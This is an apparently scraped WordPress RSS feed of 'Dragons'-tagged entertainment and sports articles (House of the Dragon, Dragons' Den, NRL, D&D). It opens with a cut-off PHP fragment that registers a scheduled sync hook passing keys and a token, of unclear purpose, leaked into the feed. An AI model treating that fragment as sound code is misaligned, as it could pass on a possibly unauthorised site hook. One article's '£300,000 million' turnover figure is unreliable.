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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Dragons – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Sep 2022 10:27:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Dragons – Brief News https://briefnews.eu 32 32 House Of The Dragon’s Criston Cole Is The Stupidest Man In Westeros Since Ned Stark https://briefnews.eu/house-of-the-dragons-criston-cole-is-the-stupidest-man-in-westeros-since-ned-stark/ https://briefnews.eu/house-of-the-dragons-criston-cole-is-the-stupidest-man-in-westeros-since-ned-stark/#respond Tue, 20 Sep 2022 10:27:52 +0000 https://briefnews.eu/house-of-the-dragons-criston-cole-is-the-stupidest-man-in-westeros-since-ned-stark/

There are no nice people in Westeros. Whether it be “Game of Thrones” or “House of the Dragon,” everyone is in it for themselves, no matter how nice they appear. At the end of the day, even if there are few genuinely good characters, they eventually get swallowed up and killed by the cruel world of “A Song of Ice and Fire.” Meanwhile, the rest of the smart characters recognize an opportunity when it presents itself in front of them, and they take it, no matter the consequences. 

But then, there’s Ser Criston Cole, a character that is neither good and nice enough to avoid doing selfish things, but also not smart enough to take advantage of his situation. Indeed, he may just be the stupidest character in Westeros since Ned Stark.

When we first meet him, Criston is like a cross of Ser Loras and Oberyn Martell, a handsome, popular-with-the-ladies knight who is also very good at duels and tournaments. He is also a man who rose above his station and proved his worth without the help of lineage, and when Rhaenyra made him part of the Kingsguard, it made sense since he was the only candidate with any real combat experience. 

A Fool For Love

Things got complicated when Rhaenyra had sex with Criston, even if it seemed consensual. That’s because Ser Criston Cole is actually a humongous idiot and a complete moron who cannot shut his pie hole for a minute. You see, Rhaenyra took a liking to Ser Criston, who seemed to have done the same.

So when Rhaenyra was forced to marry, she suggested she and Ser Criston continued seeing each other on the side while she performed her duties in public — a very good deal, right? A non-noble knight getting to be a member of a prestigious organization while also having the love of the most powerful person in Westeros? Sweet! Not for Criston, though.

You see, Criston is not the kind of man who would allow himself to simply be content with a good job and the love of a woman. He cannot fathom the idea of being with a powerful woman while he is her paramour (while probably being fine with the reverse). He scoffs at Rhaenyra’s suggestion that they stay together after she marries by saying that would make him her whore. Instead, Criston’s brilliant suggestion is to pull an “Aladdin” and head over to the other side of the world to live in poverty because at least then he’d get to be the man in charge.

This is a guy so stupidly obsessed with his station, which he owes to Rhaenyra, and so obsessed with his honor (only when it’s convenient) that he only now remembers his vow of chastity and confesses the whole affair to the queen, who didn’t know or care about it until he confessed.

No Honor Among Thieves

This is the “House of the Dragon” equivalent of Ned Stark doing the “honorable” thing and telling Cersei he knows about her incest babies and giving her the opportunity to plot a counterattack just because it’s the proper thing to do. Of course, just like Ned paid with his head, Ser Criston went and made things worse by becoming a homophobe too and killing the poor Ser Joffrey Lonmouth before almost trying to kill himself. 

To recap, Ser Criston was a nobody before Rhaenyra gave him a sweet job, then offered to allow him to continue having sex despite his chastity vow, and he decided to not only reject the idea, but to snitch to the queen, and then goes and commits a hate crime against a gay man? Say what you will about Daemon, but at least he’s not stupid enough to decline a good opportunity when it presents itself.

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]]> https://briefnews.eu/house-of-the-dragons-criston-cole-is-the-stupidest-man-in-westeros-since-ned-stark/feed/ 0 How One Of House Of The Dragon’s Tragic Couples Mirrors A Doomed Game Of Thrones Pairing https://briefnews.eu/how-one-of-house-of-the-dragons-tragic-couples-mirrors-a-doomed-game-of-thrones-pairing/ https://briefnews.eu/how-one-of-house-of-the-dragons-tragic-couples-mirrors-a-doomed-game-of-thrones-pairing/#respond Mon, 19 Sep 2022 21:44:22 +0000 https://briefnews.eu/how-one-of-house-of-the-dragons-tragic-couples-mirrors-a-doomed-game-of-thrones-pairing/

This article contains spoilers for “House of the Dragon” episode five and “Game of Thrones.”

Most couples on “Game of Thrones” and its prequel series, “House of the Dragon,” are pretty much doomed from the start. Life in Westeros is hard, even for its most rich and powerful, and marriages are rarely a matter of love. For Rhaenyra Targaryen (Milly Alcock) and Laenor Velaryon (Theo Nate), marriage is entirely political. They will unite two ancient houses and help cement political alliances, forging a new path forward with their offspring. Both of them a bit hesitant to wed because they already have romantic interests, but are able to come to an agreement that should satisfy everyone. They’re surprisingly progressive in a frequently backwards world, opting for a secret open marriage that will allow Laenor to express his true feelings for the Knight of Kisses, Joffrey (Solly McLeod), while Rhaenyra can continue her tryst with Ser Cole (Fabien Frankel). 

The duo reminded me of another ill-fated pair from “Game of Thrones”: Renly Baratheon (Gethin Anthony) and Margaery Tyrell (Natalie Dormer). Like Laenor, Renly was a gay man who was expected to wed a woman and beget heirs, and like Rhaenyra, Margaery was more than willing to find ways to ensure everyone could have their cake and eat it too. Unfortunately, Westeros is an awful place and love never wins, but you have to give them all points for trying. 

King And Queen Of My Heart

Renly and Margaery were a delightful juxtaposition to some of the other couples on “Game of Thrones.” Almost every married pair kept secrets from one another, whether it was Cersei’s (Lena Headey) keeping her affairs with her brother a secret from the King or Ned Stark (Sean Bean) keeping the true nature of Jon Snow’s (Kit Harrington) parentage from his wife, but Renly and Margaery were pretty open and honest with one another. Margaery knew that Renly was in love with her brother, Loras (Finn Jones), and went out of her way to try and reassure Renly that she didn’t mind as long as he helped her produce heirs. Others weren’t as accepting of Renly, and there were plenty of tiny japes at his expense because of his sexuality, because homophobia is alive and well in Westeros. Eventually Renly met a tragic end because of his brother Stannis and Margaery goes on to take part in one of the franchise’s many tragic weddings, but for a brief period they looked like a potential progressive future for the Seven Kingdoms. 

There was no real love between Renly and Margaery, at least not in the romantic or sexual sense, but they had one thing most of the other couples in the franchise sorely lack: mutual respect. While “House of the Dragon” is focusing on the feminine perspective, that doesn’t remove the rotten marriages. Alicent (Emily Carey) is basically a caretaker and baby maker for King Viserys (Paddy Considine), for example, while Prince Daemon (Matt Smith) only ever used his wife to gain a bit of property. Thankfully, Rhaenyra and Laenor have at least unique couple to look up to: Laenor’s parents, Corlys and Rhaenys Velarion (Steve Toussaint and Eve Best). 

A Potentially Problematic Proposition

While figuring out the nature of their betrothal, Rhaenyra suggests to Laenor that they can have extramarital affairs as long as they make plenty of babies for the line of succession. She, like Margaery, doesn’t really mind that he’s more interested in other men, and she would rather be with Ser Cole or even her uncle Daemon (Matt Smith) anyway. There are some potential concerns down the line, as that Old Valyrian blood is strong, and people might ask questions if potential heirs don’t look like both parents, but if Cersei Lannister managed to keep her three incest children off the chopping block for as long as she did despite them looking like little clones of herself and her twin, then maybe people in Westeros don’t understand genetics all that well. 

Either way, the way the two talk with one another shows the same kind of mutual care and respect that Laenor’s parents have for each other, and it would do the both of them a lot of good to continue mirroring that pair. Their progressive, potentially lovely plan was unfortunately undone by Ser Cole’s murderous display at the wedding, and they’re going to need to learn to lean on each other if they’re going to survive a future together in King’s Landing. 

Perhaps It’s Time For A Change Of Location

While I understand the inclination to continue to tell stories in Westeros, especially this one, because it’s based on history but adds dragon battles, maybe it’s time for a change of location for the franchise. Westeros is basically the Alabama of author George R.R. Martin’s world, where homophobia, misogyny, and incest run rampant, but there are plenty of other great, unexplored locations that deserve their own shot. After all, I love a gritty fantasy series with lots of sex and violence, but the regular inclusion of bigotry is a reminder of real-world misery that I would rather leave behind. While there is a series planned about Nymeria, who united Dorne, there should be a series about later-era Dorne, when it’s a beacon of knowledge, progressive ideals, and great wine. There’s still plenty of backstabbing, secrets, and political posturing in Dorne, but people aren’t condemned for their sexuality and bastards are given the same rights as children born in wedlock. Oh, and women have significantly more rights. Dorne kind of rules, and it’s a shame that we’ve barely seen any of it. 

Similarly, there are the Summer Isles, which are described as being almost utopian, and other cultures even the books have yet to explore. Maybe it’s time to leave Westeros behind, or at the very least, take a little vacation to somewhere more enlightened. 

New episodes of “House of the Dragon” debut Sundays on HBO and HBO Max. 

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]]> https://briefnews.eu/how-one-of-house-of-the-dragons-tragic-couples-mirrors-a-doomed-game-of-thrones-pairing/feed/ 0 The Masked Singer: Dragon’s identity ‘exposed’ in Instagram slip-up? https://briefnews.eu/the-masked-singer-dragons-identity-exposed-in-instagram-slip-up/ https://briefnews.eu/the-masked-singer-dragons-identity-exposed-in-instagram-slip-up/#respond Sun, 24 Jan 2021 16:31:21 +0000 https://briefnews.eu/the-masked-singer-dragons-identity-exposed-in-instagram-slip-up/

Eight celebrities remain in the race to keep their identity hidden on The Masked Singer. Badger, Robin, Sausage, Blob, Bush Baby, Harlequin, Viking and Dragon performed for judges Rita Ora, Davina McCall, Jonathan Ross and Mo Gilligan. Those watching at home hoped the extra clues will help them identify who is behind the costumes. But there is one act viewers are still incredibly confused about: Dragon. 

Dragon has proved themselves to be one of the trickier contestants on this year’s edition of The Masked Singer on ITV. 

The clues they have been giving out have left fans and judges mostly in disagreement up until this point. 

Some of the names that have cropped up so far are those of Susan Calman and Michelle Visage. 

However it seems that Dragon has been unmasked on Instagram as Courtney Act. 

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The Drag Race star was tagged on Instagram in a post by the manufacturer of the fabric for the Dragon costume, revealing that it’s her hiding under the mask. 

The account for Funki Fabrics posted a picture of the Masked Singer character on their profile, saying how the costume uses their textured mermaid scale fabric, and in it they tagged Courtney’s account. 

Some fans seem to believe that this was no accident, and the manufacturers have insight on who is performing under the costume they helped make. 

Performing the song live on stage with fellow Drag Race pal Adore Delano, the drag performer – real name Shane Jenek – sounded identical to Dragon’s debut, said many fans. 

Courtney is known for her singing talents, famously appearing on the first season of Australian Idol in 2003. 

The rainbow belly on the Dragon costume could also be a nod to the LGBTQ+ community and therefore be a further clue leading to Courtney. 

Many fans though would disagree, placing their bets for Dragon on other celebrities. 

Michelle recently appeared on Lorraine and teased fans about it being her masquerading behind the Dragon. “Wait and see” she told fans.

Susan was also forced to address the rumours that she might be hiding under the mask while on Lorraine. 

“This is the most flattering rumour I think that’s ever been spread,” she said. 

“I’m not,” she denied. “But my goodness thank you for thinking I was.”

The Masked Singer continues on ITV on Saturday at 7pm.

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]]> https://briefnews.eu/the-masked-singer-dragons-identity-exposed-in-instagram-slip-up/feed/ 0 Dungeons & Dragons Art Is Finally Getting the Respect It Deserves https://briefnews.eu/dungeons-dragons-art-is-finally-getting-the-respect-it-deserves/ https://briefnews.eu/dungeons-dragons-art-is-finally-getting-the-respect-it-deserves/#respond Sun, 21 Oct 2018 08:01:36 +0000 http://briefnews.eu/dungeons-dragons-art-is-finally-getting-the-respect-it-deserves/ It’s no longer just valued in game stores and comics shops.


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]]> https://briefnews.eu/dungeons-dragons-art-is-finally-getting-the-respect-it-deserves/feed/ 0 Can Dragons pull off another finals miracle? https://briefnews.eu/can-dragons-pull-off-another-finals-miracle/ https://briefnews.eu/can-dragons-pull-off-another-finals-miracle/#respond Wed, 12 Sep 2018 03:40:15 +0000 http://briefnews.eu/can-dragons-pull-off-another-finals-miracle/

The Rabbitohs will face the Dragons in a blockbuster finals clash.


The Daily Telegraph


SOUTH Sydney fell just short against Melbourne Storm in week one of the NRL finals and now face a fired up Dragons squad riding high after their demolition of Brisbane. Will injuries decide this one?

Rabbitohs

The additional two day’s rest South Sydney have over St George Illawarra will be invaluable. Both were involved in grueling week one finals encounters, and they’ll both have taken a toll. The Rabbitohs will start as red-hot favourites, and as we’re so often told, finals are a different ball game. The men from Redfern are ticking most boxes, so avoiding complacency against an understrength Dragons outfit will be crucial. Through no lack of effort, Sam Burgess produced one of the most dismal performances of his career against Melbourne last week. While it doesn’t take much, he’ll be particularly fired up and can be the key man to laying a platform for Damien Cook to weave his magic.

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Dragons

Led by a relentless display from back-rower Tariq Sims, St George Illawarra produced the form against Brisbane that many thought they’d left behind months ago. The Dragons have the forward pack to gain ascendancy over South Sydney, but anything less than their absolute pinnacle could bring an end to the Red V’s campaign. If they even drop off slightly, the Rabbitohs will run riot across the paddock. The loss of Gareth Widdop hurts, his absence hits hardest to his rejuvenated halves partner Ben Hunt who was sensational at Suncorp. If Hunt can transfer his renewed confidence onto ANZ Stadium – providing his middle men lift to give him the opportunity – the Dragons can rattle their more fancied opponents.

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]]> https://briefnews.eu/can-dragons-pull-off-another-finals-miracle/feed/ 0 Tej Lalvani net worth: Dragon’s Den star worth THIS much compared to fellow Dragons https://briefnews.eu/tej-lalvani-net-worth-dragons-den-star-worth-this-much-compared-to-fellow-dragons/ https://briefnews.eu/tej-lalvani-net-worth-dragons-den-star-worth-this-much-compared-to-fellow-dragons/#respond Mon, 27 Aug 2018 17:32:27 +0000 http://briefnews.eu/tej-lalvani-net-worth-dragons-den-star-worth-this-much-compared-to-fellow-dragons/

Tej Lalvani, 44, is one of the most successful business men in Britain, being CEO of the UK’s largest vitamin company, Vitabiotics.

While he has had a successful business career, he is perhaps best known for his appearance on BBC One’s Dragon’s Den.

On the panel since 2017, Tej has invested in many companies, growing his net worth and expanding his business empire.

But compare to his colleagues such as Peter Jones and Deborah Meaden, how much is he actually worth?

Tej Lalvani is the son of Vitabiotics founder Kartar Lalvani, who founded the business in 1971.

Following university, Tej joined the family business, starting his career as a forklift driver before working his way up to become chief operating officer in 2008.

Just seven years later Tej had become CEO, gaining himself the nickname the “Prince of Vitamins”.

Vitabiotics sells well-known brands such as Wellman, Perfectil and Pregnacare in over 100 countries all around the world, doing great things for Tel’s bank balance.

In 2017 the businessman joined the cast of the hit BBC show, Dragon’s Den, sitting on the panel with some of the richest people in the UK.

But Tej deserved his place on the panel, now reported to be worth a staggering £275 million, with Vitabiotics turning over around £300,000 million per annum.

His place on the panel was secured down to achievements like being named 2012’s Young Entrepreneur at the Asian Business Awards as well as Young Entrepreneur of the Year by TiE in 2013.

In October 2017, he ranked at number 48 on the GG2 Power List of the most influential Asian people in Britain.

Since joining the cast of Dragon’s Den in 2017, Tej has invested in many start up companies, no doubt gaining him dividends and increasing his potential earnings.

On top of his control of Vitabiotics, Tej also owns a property investment business with his wife, Tara Ruby.

The 44-year-old lives in London’s Marylebone with Tara, with the couple reported to own an impressive property portfolio together.

Aside from his business interests, the Prince of Vitamins composes music and plays the drums, keyboard and guitar.

Tej’s fortune is no doubt impressive, but not as impressive as his Dragon’s Den co-star, Peter Jones’. 

The 52-year-old, who has been on the show since its conception in 2005, is reported to be worth a whopping £500 million, due to his large presence in the tech industry.

His fortune has been accumulated through many business ventures, including founding Wines4Business.com, an online retailer, and Celsius, a specialist recruitment business.

Another Dragon on the panel is Deborah Meaden, who is also worth a few bob, but a surprisingly smaller amount that Tej and Peter. 

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]]> https://briefnews.eu/tej-lalvani-net-worth-dragons-den-star-worth-this-much-compared-to-fellow-dragons/feed/ 0 The Morning After: Cyborg dragons, Facebook’s AI and hate speech https://briefnews.eu/the-morning-after-cyborg-dragons-facebooks-ai-and-hate-speech/ https://briefnews.eu/the-morning-after-cyborg-dragons-facebooks-ai-and-hate-speech/#respond Thu, 26 Apr 2018 11:04:08 +0000 http://briefnews.eu/the-morning-after-cyborg-dragons-facebooks-ai-and-hate-speech/

Hey, good morning! You look fabulous. Facebook is still making money. Samsung’s made record profits and Elon Musk tweets about building a cyborg dragon. Of course. Oh, and the latest pro-gamer recruit is a 13-year-old ‘Fortnite’ player.

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But slow OLED sales suggest bad news for the iPhone X.
Samsung shows record profits

The South Korean giant just reported its fourth straight quarter of record-breaking operating profit, but the key note is about sales of mobile OLED displays. They were weaker than expected, which, combined with reports from other companies that make iPhone parts, suggest Apple’s high-end device didn’t sell quite as many units as anticipated. But for Samsung, things look good, with high Galaxy S9 sales and updated products like a new Galaxy Note, 8K TV and MicroLED display on track for release later this year.

Okay.
Zuckerberg: It’s easier for AI to detect nipples than hate speech

Facebook’s Q1 earnings showed the company can still make more money and attract more users year-on-year despite all that controversy. During a Q&A session with Mark Zuckerberg and other executives, the CEO fielded a question on artificial intelligence’s role in automatically detecting harmful content on the platform. Its AI isn’t so good at catching hate speech, but has done a great job intercepting terrorist content. Zuckerberg added:”It’s much easier to build an AI system to detect a nipple than it is to detect hate speech.”

Given the platform’s history of banning, then begrudgingly allowing, breastfeeding and nudity in iconic photos, it might not come as a surprise. But it’s also an unusual thing to mention after an earnings report.

Borrowing from George RR.
Elon Musk: ‘Oh btw I’m building a cyborg dragon’

What are you talking about, Elon?

So, is he allowed to play during class?
Pro-gaming team signs 13-year-old ‘Fortnite’ player

While age restrictions might lock Kyle “Mongraal” Jackson out of competition in a (hypothetical) official Fortnite league run by developer Epic Games, there are other tournaments where the 13-year-old can show off his skills. Team Secret CEO John Yao told ESPN that “I actually had no idea he was 13 until the team told me… What immediately stood out to me was how mature he was, and he sounded just like one of the other guys.”

But lots of crossovers, SUVs and trucks.
Soon, Ford will only sell two kinds of cars in North America

Ford is scaling back its small-car lineup in North America to just two vehicles, the Mustang and the unrevealed Focus Active crossover, in the “next few years.” While the brand wasn’t too specific beyond that, it noted it was adding hybrid powerplants to many of its vehicles, ranging from the Mustang to historical gas guzzlers like the Explorer and F-150. It reiterated it’ll launch its first all-electric vehicle (the Mach 1 SUV) in 2020, and it’d have 16 EV models on the market by 2022.

Police an alternate-reality internet from an arcane operating system.
This is pretty much GeoCities: The Game

If you used the internet in the mid-to-late ’90s, you probably remember GeoCities. It was all bright, garish web pages full of animated glitter and barely readable text. The old web-hosting service is now the inspiration for an upcoming adventure game called Hypnospace Outlaw. You’re tasked with finding the pages and corresponding users that are breaking the company’s rules. Each investigation is a unique text-based puzzle. The process and solutions, of course, are a mystery for now. In an interview, developer Jay Tholen hinted that page tags and a search engine will play a crucial role, however. “There are other weird ways to solve the puzzles,” he said, “but I don’t want to spoil the conceits of those.”

It could give a user access to an entire hotel within minutes.
Researchers create device that opens hotel doors with old keycards

Researchers at cybersecurity firm F-Secure have designed a device that can pull data from hotel keycards and essentially create a master key for an entire hotel. The keycard doesn’t even have to be in use. The device can give the user access to pretty much any room in the hotel in just a matter of minutes. “It can be your own room key, a cleaning staff key, even to the garage or workout facility,” said F-Secure’s Tomi Tuominen. “We can even do it in an elevator if you have your key in your front pocket; we can just clone it from there.”

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]]> https://briefnews.eu/the-morning-after-cyborg-dragons-facebooks-ai-and-hate-speech/feed/ 0 Like dragons? The 2018 McLaren 570GT Cabbeen Collection is for you! https://briefnews.eu/like-dragons-the-2018-mclaren-570gt-cabbeen-collection-is-for-you/ https://briefnews.eu/like-dragons-the-2018-mclaren-570gt-cabbeen-collection-is-for-you/#respond Wed, 25 Apr 2018 20:41:14 +0000 http://briefnews.eu/like-dragons-the-2018-mclaren-570gt-cabbeen-collection-is-for-you/

McLaren must be doing good business with its McLaren Special Operations (MSO) special edition supercars because it has just released another, and like with the Canada Commission, this one takes its inspiration from a specific country, namely China. It’s called the 2018 McLaren 570GT Cabbeen Collection, and was developed in conjunction with a Chinese fashion designer simply referred to as Mr. Cabbeen. We suspect that it received the name “collection” because of the connection to fashion, despite the special edition being just one model.

The 570GT Cabbeen Collection is instantly recognizable by its black paint scheme with gold wheels, gold brake calipers and gold dragons painted in the intake scallops. It does revive memories of the garish Jeep Wrangler Dragon Edition, but the McLaren is admittedly much more tasteful. It also boasts some fine craftsmanship, since the dragons are hand painted.

Inside, the theme continues with gold dragons embroidered into the center tunnel and the cargo area. They are done in an embroidery style specific to China known as Chao, and they were put in by the Director of the Professional Embroidery Committee of China’s Arts and Crafts Institute (now that’s a job – Ed.). This is all a far cry from cheap stickers and color-coordinated stitching.

Unlike the McLaren 570S Spider Canada Commission, the 570GT Cabbeen Collection will be available globally. But if you want one, speak up quickly, because only five will be built. Pricing was not revealed, but expect something well into the six figures.

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]]> https://briefnews.eu/like-dragons-the-2018-mclaren-570gt-cabbeen-collection-is-for-you/feed/ 0 ‘Rick and Morty’ is Crossing Over with ‘Dungeons & Dragons’ While We Wait for Season 4 https://briefnews.eu/rick-and-morty-is-crossing-over-with-dungeons-dragons-while-we-wait-for-season-4/ https://briefnews.eu/rick-and-morty-is-crossing-over-with-dungeons-dragons-while-we-wait-for-season-4/#respond Thu, 12 Apr 2018 09:54:01 +0000 http://briefnews.eu/rick-and-morty-is-crossing-over-with-dungeons-dragons-while-we-wait-for-season-4/ Rick and Morty Dungeons and Dragons Comic

Right now, Rick and Morty fans are patiently waiting for contract negotiations to get sorted out between Adult Swim and series creators Dan Harmon and Justin Roiland so a fourth season of the show can move forward. Thankfully, there will be a little something to help hold them over this summer.

Rick and Morty is crossing over with the fantasy world of Dungeons and Dragons in a new four-issue comic book series from IDW Publishing debuting in August. Find out more about the Rick and Morty Dungeons and Dragons comic crossover below.

The crossover comic taking Adult Swim’s cosmos traversing duo to the world of Dungeons and Dragons was announced at Chicago’s C2E2 convention last weekend. Writers Patrick Rothfuss (The Kingkiller Chronicles) and Jim Zub (The Avengers, Wayward) are behind the comic, along with with Eisner-nominated artist Troy Little (Hunter S. Thompson’s Fear and Loathing in Las Vegas), which should make the proceeding as wild and trippy as they need to be.

The four-issue comic will find Morty going to his grandpa Rick to learn as much as he can about Dungeons and Dragons, which all the cool kids at his school are playing. Of course, what should be a quick crash course in the role-playing game turns into an insane, epic quest that goes horribly wrong and has plenty of belching and swearing. Here’s the first cover:

Rick and Morty Dungeons and Dragons Comic

Here’s what Rothfuss had to say about the comic crossover:

“I love Rick and Morty with a powerful love, and I’ve played D&D since the 5th grade. So when they approached me about writing a story with both of them together? That’s some serious you-got-chocolate-in-my-peanut butter $ #!& right there. I’m in. I’m all the way in. I’m gettin’ that chocolate all up in the peanut butter. Like, deep in. All the way in. It’s going to be sticky and delicious.”

Meanwhile, Zub is excited about what kind of quest they’re sending Rick and Morty on:

“The Dungeons & Dragons crew is letting Pat and I open a Pandora’s Box of insane adventure material and iconic creatures from the granddaddy of all tabletop role-playing games. I wish I could say we’ll take good care of it, but, the simple truth is, this is Rick and Morty we’re talking about. No fantasy world or otherworldly plane of existence is safe.”

Rick and Morty already has a comic series of its own, but I’ve yet to check it out. However, I’ve heard it has the same outrageous comedy and adventures that make the animated series so great. Maybe this crossover will finally get me to give it a shot.

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]]> https://briefnews.eu/rick-and-morty-is-crossing-over-with-dungeons-dragons-while-we-wait-for-season-4/feed/ 0 The Rock Was in Talks For a ‘Dungeons & Dragons’ Movie, and Other Things We Learned at the ‘Rampage’ Press Conference https://briefnews.eu/the-rock-was-in-talks-for-a-dungeons-dragons-movie-and-other-things-we-learned-at-the-rampage-press-conference/ https://briefnews.eu/the-rock-was-in-talks-for-a-dungeons-dragons-movie-and-other-things-we-learned-at-the-rampage-press-conference/#respond Sat, 07 Apr 2018 15:30:23 +0000 http://briefnews.eu/the-rock-was-in-talks-for-a-dungeons-dragons-movie-and-other-things-we-learned-at-the-rampage-press-conference/ The Rock Dungeons and Dragons

Most of the time, press conferences for big blockbuster movies are opportunities for the actors to crack a few jokes, share a fun story or two about making the movie, and that’s about it. It’s rare that anything actually substantial comes out of these Q&A sessions, but the press conference for Rampage, the upcoming film adaptation of the video game, was a little bit different.

During the conference, actor Joe Manganiello (who plays a mercenary in Rampage) revealed that star Dwayne “The Rock” Johnson was in talks to lead a Dungeons and Dragons movie, and Johnson confirmed it. Read about The Rock Dungeons and Dragons connection, the Rampage movie’s special homage to the video game on which it’s based, and more below.

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The Rock Dungeons and Dragons Movie?

P.J. Byrne plays a character in Rampage, but he also moderated the press conference yesterday afternoon in Hollywood. When he asked Manganiello how the former True Blood actor got his role in this movie, Manganiello explained:

“I wrote a version of a Dungeons and Dragons film when it was at Warner Bros., and I found out that Brad [Peyton] was a big fan of the property and was looking to direct a Dungeons and Dragons film. I think they were also talking to you about that as well (points to Dwayne, who nods).

So I got my agents to connect me to Brad, I said, ‘I want to talk to Brad and see what his idea is. I have this script.’ We got on a Skype call, and after a few minutes, Brad was like, ‘Hey man, listen. I’m down in Atlanta. I’m getting ready to shoot this movie Rampage. I’ve got this great role if you want to play it. Why don’t you come down? We’ll shoot this movie, we’ll talk about Dungeons and Dragons, and we’ll go from there.’ That’s how I ended up in Rampage.”

We didn’t have an opportunity to follow up and ask about the status of that potential Dungeons and Dragons movie or whether or not Johnson is still having those discussions about possibly starring in it, but what the heck would a Dwayne Johnson-led D&D movie written by Joe Manganiello look like? This could be one of those “what if” scenarios movie fans debate about among themselves for years.

And can you imagine how much Vin Diesel would freak out if The Rock made a D&D film? Diesel loves D&D, going as far as to plan the Fast & Furious franchise like a D&D dungeon master, and after Johnson’s recent comments about how he and Diesel still aren’t on good terms following the Candy Ass saga, Diesel would be livid if Johnson ended up starring in a D&D movie. At this point, I wouldn’t put it past Johnson to take the role just to spite Diesel. But we’ll have to wait and see how it all plays out.

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The Director Was Surprised By His Own Movie

Brad Peyton, who also directed Johnson in Journey 2: The Mysterious Island and San Andreas, explained that because of the film’s quick schedule, even he ended up being caught off guard by the last act of the movie.

“This movie was shot really fast. It was done in 55 days, which is 20 days less than San Andreas, and then we had six weeks less in post. So for me, I was doing visual effects, the mix, the music, all at the same time, which is not normal…

It was interesting because the end of this movie was a lot of green screens and Dwayne and ‘There’s a giant wolf there,’ and ‘Look at that stick and run around.’ It came together so quickly that even I, on the mix stage, seeing the music and sound come in so quickly, for the last 25 minutes of the movie, even though I drew it all and storyboarded it and pre-vized it an all that, I had moments of like, ‘Holy God, this is bananas.’ It got so big, it kept growing. Again, the post was so rapid, and WETA Digital, Peter Jackson’s company, came in with so much great stuff, that even the person that planned it was like, ‘Oh my God, this is crazy.’”

Rampage’s Homage to the Video Game

One of the characters has a Rampage arcade cabinet in his/her office, which is clearly visible in the background of several shots in the movie. But there’s another reference that’s a bit more subtle than that. One of the female characters (to avoid spoilers, I won’t reveal which one) is eaten by one of the giant monsters, and Johnson explained that was their shout-out to the old-school game:

“It was just a cool, awesome death…that was our big homage to the video game. In the video game, famously, as the monsters go on their total destruction, there’s a lady in a red dress. Sometimes she gets away and sometimes she gets eaten. It was very cool to see with an audience and watch it erupt that way.”

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How Making Rampage is Different Than a Bond Film

Oscar-winning actress Naomie Harris plays Moneypenny in the Daniel Craig James Bond films, and when asked to compare her experience making those films with what was required of her here, she said they couldn’t be more different:

“I actually went into it thinking it was going to be the same kind of deal. But actually it was completely different, because Bond doesn’t really have green screen. We’re out in the real world doing those stunts, and largely, we’re doing them for real. This was reacting to tennis balls. The tennis balls were numbered one to seven. ‘Look at three: the building has collapsed! Look at five: the wolf is flying across at you!’ I was completely out of my mind. I was absolutely terrified, because this was something completely new to me. So I had to really lean on Dwayne. He was amazing. He’s the master at this – this is his world, and it’s not mine at all.”

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Jeffrey Dean Morgan on His Over The Top Character

Rampage seems to have been well received so far, but for me, Malin Akerman and Jeffrey Dean Morgan were the only two actors in the film who felt like they really knew what kind of movie they were in. They both turn in appropriately over the top performances, but Morgan especially relishes every opportunity to chew on the scenery. He plays a heavily-accented federal agent who may as well be a modern cowboy, and he gets to utter the film’s best line: “When science shits the bed, I’m the guy they call to clean the sheets.”

At the press conference, he explained that he was initially hesitant to go so over the top with his performance, but Brad Peyton encouraged him to crank it up:

“I have to give mad props to our director, Brad. He really had this idea of what Russell was going to be. Your introduction to him, walking down that walkway. Brad had this all in his head. ‘We’re going to start with cowboy boots and we’re going to come up and it’s a big-ass belt buckle,’ and there’s a whole visual thing. At first, I was like, ‘Oh, this is a lot. Oh man, this might be too much.’ Then we got there, and I started picking out belt buckles and guns. The gun was what was like, ‘Yeah.’ I mean, he wears it in a place you could never wear a gun in real life. You know, in front of his dick. Who puts a gun there? (laughs) But we wanted it in every shot! It was so cool. Probably not the most practical, but it worked, and I think it all came from wardrobe, this character. And talking to Brad. He really talked me into it, because I was like, ‘Can we under-play it a little bit?’ and by the end I was like, ‘How big can I go?’ (laughs)”

Rampage hits theaters on April 13, 2018.

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